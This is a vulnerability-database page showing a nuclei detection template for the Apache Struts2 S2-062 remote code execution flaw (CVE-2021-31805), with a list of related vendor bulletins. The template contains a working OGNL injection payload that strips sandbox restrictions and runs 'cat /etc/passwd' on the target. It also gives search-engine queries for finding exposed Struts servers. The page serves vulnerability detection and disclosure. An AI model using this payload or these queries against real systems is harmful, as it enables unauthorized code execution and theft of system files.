Lucene search
K

Apache Struts2 S2-062 - Remote Code Execution

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 146 Views

Apache Struts2 S2-062 vulnerability allows remote code execution due to incomplete fix of prior issues.

Related
Refs
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: IBM Security Guardium is affected by multiple vulnerabilities
8 Nov 202216:20
ibm
IBM Security Bulletins
Security Bulletin: CVE-2021-31805 may affect Apache Struts used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202207:32
ibm
IBM Security Bulletins
Security Bulletin: Order Management could be subject to an Apache Struts vulnerability that could allow a remote attacker to execute arbitrary code on the system.
12 Apr 202417:44
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts framework affects IBM Spectrum Symphony
19 Mar 202109:21
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities is affecting Tivoli Netcool/OMNIbus WebGUI (CVE-2021-20336, CVE-2020-17530)
22 Mar 202113:06
ibm
IBM Security Bulletins
Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)
14 Sep 202217:37
ibm
IBM Security Bulletins
Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202208:00
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects IBM Tivoli Application Dependency Discovery Manager (CVE-2020-17530)
13 Apr 202212:25
ibm
IBM Security Bulletins
Security Bulletin: CVE-2020-17530 may affect Apache struts2-core used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202208:03
ibm
IBM Security Bulletins
Security Bulletin: CVE-2021-31805 may affect Apache Struts used by Content Collector for Email, Content Collector for File Systems, Content Collector for Microsoft SharePoint and Content Collector for IBM Connections
9 Jun 202208:05
ibm
Rows per page
id: CVE-2021-31805

info:
  name: Apache Struts2 S2-062 - Remote Code Execution
  author: taielab
  severity: critical
  description: Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.
  impact: |
    Remote code execution
  remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-062
    - https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31805
    - http://www.openwall.com/lists/oss-security/2022/04/12/6
    - https://security.netapp.com/advisory/ntap-20220420-0001/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31805
    cwe-id: CWE-917
    epss-score: 0.85315
    epss-percentile: 0.99689
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2021,cve,apache,rce,struts,struts2,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
        Content-Length: 1095

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
        Content-Disposition: form-data; name="id"

        %{
        (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
        (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
        (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
        (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
        (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
        (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
        }

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100ea6aa78af0d4559822a8705608568f3a88d1b904e7641ea8946e622424a6ad2a022100b1d87c501690b048f630d0cb648f86b5e49609d272aa09330d25218d7b3648a2:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 3.19.8
EPSS0.95922
SSVC
146